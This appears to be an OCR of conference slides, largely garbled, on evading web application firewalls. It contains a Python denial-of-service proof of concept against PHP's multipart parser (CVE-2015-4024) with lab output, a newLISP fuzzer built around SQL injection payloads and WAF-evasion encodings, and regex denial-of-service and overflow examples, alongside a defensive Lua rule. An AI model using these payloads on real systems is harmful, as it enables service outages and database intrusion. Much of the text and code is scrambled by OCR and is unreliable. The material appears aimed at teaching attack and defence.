l®

e

M

Wﬂﬁﬁﬁ%&ﬁé%ﬁ

FiHAN: BE
R =B 7B sein =



KT ENT[BAL

Winger :

EMAIL : free.winge@gmail.com
Twitter : WingerFree

Weixin : GNUSEC

No White No Black No Green Hat

Snenm



WAF = Wh Fk

SR



WTK WAF ~~

0x2 R B

0x3 IS5 OR &£ ?

=> Revolution

0x4 Matrix

Snenm



Ox1 Bingo vs Rule breaker

B — P GAINRNAYRIE PHP-DDOS CVE-2015-4024

B NAZEHEERY IBIGR B A ARER. (FB—RhiTinAus)

B A —RB SFE? KRRER
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PHP DDOS

CVE-2015-4024 B LiuShusheng 2015-04-03 #23Z PHP TEAM,

RS HREAAFEAMNIIPOST LIZSGER | il ciRSSasPHPEEHIRIRIT
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iR REE---->

intmultipart_buf:

A )

char*line;

{0}, entry:

*value :
do{ walue++: | while(isspace(*value)) :
trdup (value) :

(key) ;

lelse if __count (header)) { /%

(entry.value+ prev_len, line,
ralue [cur_len+ prev_len] =
entry. ke (prev_entry.key) :
zend 1list remove_tail (header) :
lelse |

continue:

zend 1list_add element (header, Lentry) ;

(maltipart_buffer *self, zend 1list *header TSRML5 DC)

ng detector (line, strlen(line), self->detect order,self

EIBFI N CRLFMIEUHE AL RIF R Z
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1F A B PR - - F8 TR T R

o C:\NTHDORS \systen3?\en -8

ICP  192.168.56.181:8980  192.168.56.102:39287  ESTABLISHED XHF(F) fRIB(E) f8=(s) &I(O) HWEAH)
TCP  192.168.56.101:8988  192.168.56.182:39288  ESTABLISHED 4 e

C:“\Documents and Settings“Adninistratorinetstat -ano ifindstre :B98@
TGP B.8.8.8:8%808 B.0.8.8:8 LISTEMING 4
ICP 192 168 CF 101 RI8H 192 468 Lf {[2:4920 EETARLISHED
Elinl.nls HEEHE

THE KHQ EEW #Ho
e | me BE (gR |BP |

PR

5 def main():

action="store",

orm-data; boundary

QEW . S3E0% Jés?;lmﬁm - i 6 Conte ype: application/octet-streamh
el | | AT At

HEE ¢ U R o REEE ca/ 3z 1. app ync (check php multipartform_dos, [target,

TCP .B.8:8988 B.8.8.8:8 LISTENING L

TCP | 192.168.56.181:8988 | 192.168.56.182:39269 ESTABLISHED 4

TCP | 192.168.56.101:8988 | 192.168.56.1@2:39278  ESTABLISHED 4 .

TCP | 192.168.56.181:8988 | 192.168.56.182:39271 ESTABLISHED 4 root@ai-base: ~/exp/php

TCP | 192.168.56.161:3988 | 192.168.56.182:39272  ESTABLISHED 4 MHF(F) #miB(E) EBB(V) #E=(S) H£im(m) EEIH)

ICP | 192.168.56.101:8980 | 192.166.56.182:39273 ESTABLISHED 4 e
TCP | 192.168.56.101:8988 | 192.168.56.182:39274 ESTABLISHED 4 : ~/exp/php# python form- data- ddos- pool.py -t "http://192. 168. 56. 101:
TCP | 192.168.56.161:8988 | 192.168.56.1@2:39275  ESTABLISHED 4 8980/ test/ 1. php"

TCP | 192.168.56.181:8988 | 192.168.56.182:39276 ESTABLISHED 4 starting...

TCP 192.168.56 . 181 :8988 192.168.56.182:39277  ESTABLISHED 4 herel 1 1§

TiD TR 407 AL0 CEL 4@ =-207970 COTADT TOUTT A (ST | 1 1 A



Num=30000
headers={'Content-Type':'multipart/form-data; boundary=—---WebKitFormBoundaryX3B7wiNgERQlzmAII",

'Accept-Encoding':'gzip, deflate',

'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOWe4d) RppleWebKit/537.36 (EHTML, like Gecko) Chrome/40.0.2214.
Safari/537.36"}

WebKitFormBoundaryX3BTwiNgERQlzmAl I\nContent-Disposition: form-data; name=\"file\"; filename=sb.jpg"

payload=""
for i in range (0,Num) :

payload = payload +[¥andom.choice['abcdefghijk;mnopqrstuvwxyz'} * random.randint (1,3) +'\n'

body body + pavyload;

body body + "Content-Type: application/octet-stream\ri\n\ri\ndatadata’ri\n WebKitFormBoundaryX3BTwiNgERQlzmAIT——"

print "starting...";

pool = Pool(3)

for i in zrange(l, 3 + 1): ﬁ]ﬁﬁﬁﬁﬂﬂﬁﬁﬂﬁﬁ; é%li%
pool.apply async(check php multipartform dos, [target,body,headers]) E—j’i?ﬁﬂﬁm H{JAHIDSHWAF

pool.claose ()

pool.join ()




HOW FIX?

B ZOEEEER\r\n\r\ni&form-datafbody partspkheaderflbody , headerEBFE\noEl
NREFEATLIO0REFE R =8 FK , IR[El447551R, BITXEFNAT | IHEHEEOREY
DIONY =)

postdata = split(postdata, boundary)
local i =1
while 1 < #postdata do
local lines = split(postdatalil, "\r\n\r'n")
if #lines[0] == nil or lines[l] == nil or (not string.find(lines[0], "Content%-Disposition"™)) then
ngx.exit (445)
return true
end
————defense CVE-Z2015-4024

local form data header = split___{_lines[U],r "\n")
if #form data header > 10 then
ngx.exit (447)

return true
end
————defense CVE-Z2015-4024

local key = string.gmatch(lines[0], "%sname=\"(.+)%"") ()
local val string.gmatch(lines[0], "filename=\"(.+)\"") ()
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Num=30000

headers={ e': 'multipart/form—d

payload=""
for i in range (0,Num):
paylocad = payload +

body = body + payload;
body body + ' tent-Type: applicatic et—-stream\r\n\r\ndatada
print "=
pool = F
for i in range(l, 3 + 1):

pool.apply async(check php multipartform dos, [target,body,headers])
pool.cl
pool.jc




Ox2 R B Z ReDos

Regex BooM (IENIFRIAT ARSI )

ReDos FERFERETIENFRATVERITRINIET , FEIEERITEIRIRRIIER. &KERSEITE
=R ERe(X T, EEHANGIRISS.

Ox1: RALIRL RALE—ESEHI—1E.  XE— 1 EEFEELEE.
Ox2: 2844 --> 5REg --> MINERE.  EERATGESMIBER N . RNBEZRHFERTHGR.

ox3: Tt VS WEE
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c:\Python27>python -c¢ "import re; re.compile( ' ([0-9a-zA-2]([-.\w]x[0-9a-zA-2])x
R(([0-9a-zA-2])+{[-\w]*[0-9a-zA-2])x=\.)+[a-zA-2](2,9}3)% ", re.DEBUG)"
at at_beginning ————
subpattern 1
in

range (48, 57)

range (97, 122)

range (65, 90

subpattern 2 UL AC & ki
il s g 8
in =
literal 45 2DOS
literal 46
category category_word
in
range (48, 57)
range (97, 122)
range (65, 90)
literal 64

max_repeat 1 4294967295
DB =

max_repeat 1 4294967295

subpattern 4
in
range (48, 57)
range (97, 122)

=lals]= by 41

max_repeat 0 4294967295

subpattern
max_repeat 0 4294967295

in
literal 45
category category_word
in
range (48, 57)
range (97, 122)
range (65, 90)
literal 46



ReDos FiXz\{F1E
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PR
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AANEE FUZZ

BWAFMRAHERF UZ Z 51

Rfig 1: BLIND FUZZ ({EHRIETFEREIFUZZ)

tRlg 2: SLICE FUZZ (BEFE=S1SHERFUZZ+HE)
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1. HEEAGENTRREBEH (AR &, JedEtE)
2. HRESEMREBRE, (EEdEdata as codefiEs, XEBFH newlLISP)
3. oirEEXEAEiREinE .  (—ERRIN—FIAE | ERABMETNCONTEXT)

1. BERZERIENELETE . (B—1a g n e t HEERIAASHECRIECERR )
2. UTHIIE  (1ERERIIKEIERIRECER T IiEtinimiREE =D o s )

3. BERIREHEIRETE

4. ERRENLEEEES ,  LMERIR,

DHTES
1. ICEFEMEUE . (RIBSEBIENR )
2 . OREINR , HOXREERSEIEFAG . (EEET ALY, RIFFRRERME )
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S FIEEIEER
(set 'payleoad 0x0 {id= 0x00 union select 1 , 2 , 2 })
(set 'payload 0x1 {id= -1 union select 1 , 2 , 3 })

(set 'payload 0x2 {id=-1 union select * from pwd })

'payload 0x3 {id=0x00 union select * from pwd })

'payload 0x7 {id=\Nunion select 1, @@8version ,3})

'payload lst (unigue (list payload 0x0 payload 0xl payload 0x2 payload 0x3 payload 0x4 payload 0x5 payload 0x6 payload 0x7)))

AR

(set 'POISON_EEYWORD LST " (

{%0n} {%0b} {%0c} {%0D} {%R0} {%92} {%20} {%09}

{#} {~} {!} {"*} {<} {<<] {>>} {<>] {<=>] {XOR] {%34] {%34%34} {"} {"'1 {II} {&} {++] {2.3} {,}{.} {_} {1} {*} {2} {:} {e} {eel {[l {-1 {+] T
[/%Y {==} {:} {i——al {//} {/*%/} {1 {——+} "{" {/*-1-%/} {/*-1sElect—*/} tFF

{3e2} {%5C%4E] {%c0%20} {%c0%a0] {%u0020} {%uff00} {%ud027} {%ud2bS5} {%ul2bc} {%ul2cB} {%u2032} {%uffi7} {%c0%27} {%c0%a7] {%e0%80%a271))

(set "VEC_PRE { (setf query-url (string QUERY UBRL PRE (url-encode (join (slice payload lst 0 Sidx ))}) })
(set "VEC END { (url-encode (join (slice payload lst (+ Sidx 1))}))))} 1)
; REUEIRERGE, K. WERRRTLUSIAFSINERIEN (code as data ) B,
(define (fuzz lst gen)
(set "fuzz lst "())
(delist (key POISON_FEYWORD LST)
(push (string VEC PRE { (string "} key {" (hexZurl n))} VEC_END) fuzz lst -1)
(push (string VEC_PRE { (string (hexZurl n)"} key {")} VEC_END) fuzz_lst -1)
(push (string VEC PRE { (string "} key {" (hexZurl n)"} key {")} VEC _END) fuzz lst -1)
(push (string VEC_PRE {(string "} key {"{(hex2url-unicode n}))} VEC_END) fuzz_lst -1)
(push (string VEC PRE { (string (hexZurl-unicode n)"} key (")} VEC_END) fuzz lst -1)
(push (string VEC_PRE { (string "} key {"(hex2url-unicode n)}"} key {"}} VEC_END) fuzz_ lst -1)




FEEREIR
(fuzz_lst_gen)
(define imple-£fuzz)

{fuzz_peool

{doliat (payload payload lst)
(letn {url url
payload payload
payload lst (exp
content "
gquery-url ""
result_lst '({)

{deliat (fuzz_wec fuzz_lst)

{doliat (e payload lat)
{zetf result lst '({})

ul.j.dutime;a (n OxFF)
val-string fuzz_wec)
{when (>
(begin
: ' 1 RENESRETEHEIAT

{fuzz_pool async

{unleas (null? result_ lst)
{ e-file ing $idx 2 ) . ol i (flat (map (fn (lst)




RB 2 OverFlow

int main{int argc, char* argv[])
{

string strieedCheck = "select J ) b )b d NN N N N N NN NN AN NN
Ry R RN
RN )
IR R R R R R R R R R R R R R R R R R RN R R R R RN R R R R R R R R R R R Y]
RN )
IR R R R R R R R R R R R R R R R R R RN R R R R RN R R R R R R R R R R R Y]
RN )
IR R R R R R R R R R R R R R R R R R RN R R R R RN R R R R R R R R R R R Y]
RN )
IR R R R R R R R R R R R R R R R R R RN R R R R RN R R R R R R R R R R R Y]

P R R R R R R R RN RN NN NN
IRRRRNY

* from tablel™;
string strTestReg = "[\\z)+\\d";
boost::regex reqg test(strTeatReg, boost::regex::icase);

bool BValidRegex = true:;
kool bBMatch = false:
smatch MatchRet:
try
{
bMatch = regex_search (strNeedCheck , MatchRet, req test):
}
catch (const boost: :bad_expression &e)

{
bValidRegex = false:;




"ﬁ bDDSt_ cQex_Test ] , =0Tt Visl tudio (A trato

File Edit Wiew Ot WVAssistX Project Build Debug Data Tools VMware(R)] Test Analyze Window Help
S G| % BRI E-E | b |Debug -(|Win32 || [# boostiregex v | oA S B -
P ouom@[PEE%Hx % | B PER MY A o[LES ORh e |EEZS 2O 13 a5

-

Process: [4496] boost_regex_t¢ v Thread: [352] Main Thread - ¥ Stack Frame: boost_regex testexelbec v _

LA - N YR T

egisters
Eni = EBX = EIF = OOBEFFF4 ESF = O03AEESS EEF = OO0SAEEFC EFL =

boost_regex_test.cpp ]fxuti lity & rregex_sea rch.hpp ]/-regex.cpp ﬁ‘}/th row_exception.h PP]

= throw_exception.hpp * - |2 KA\G3lib\c+ +\3rdparty\boost\boost\throw_exception.hpp

{} boost -
inline void throw exception _assert compatibilitv( std::exception const &
template<class E> BOOST ATTRIBUTE NORETURN inline void throw exception{ E const

{

[

All boost exceptions are required to derive from std::exception,
o ensure compatibility with BOOST_NO EXCEPTIONS.
throw_exception_assert_compatibility(e);

OO0 =1 Oo O oW L2 D

=

#ifndef BOOST EXCEPTION DISABLE
hrow enable current exception{enable error infole))

[ < T 3 T T o O T o O O o O ol O ol o O i

[~2 =




e
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Ox4 Matrix Revolution
n géﬂgé%@kz'ﬁ?%rﬁ. STESBEE, SR, BEa— , BRI
J | =

B (ERiRZ 2B HBERNBERIE: A, 303z, AFEE |, FRBLSS.

m FEMCAYZ 2 Fh SR
i U SR + RS RO G + SRR MIE RS + B BBITE.
» SR, SEH, SHRE.
m EXERA, TEHIOESS, BA LIRS TRITK K.
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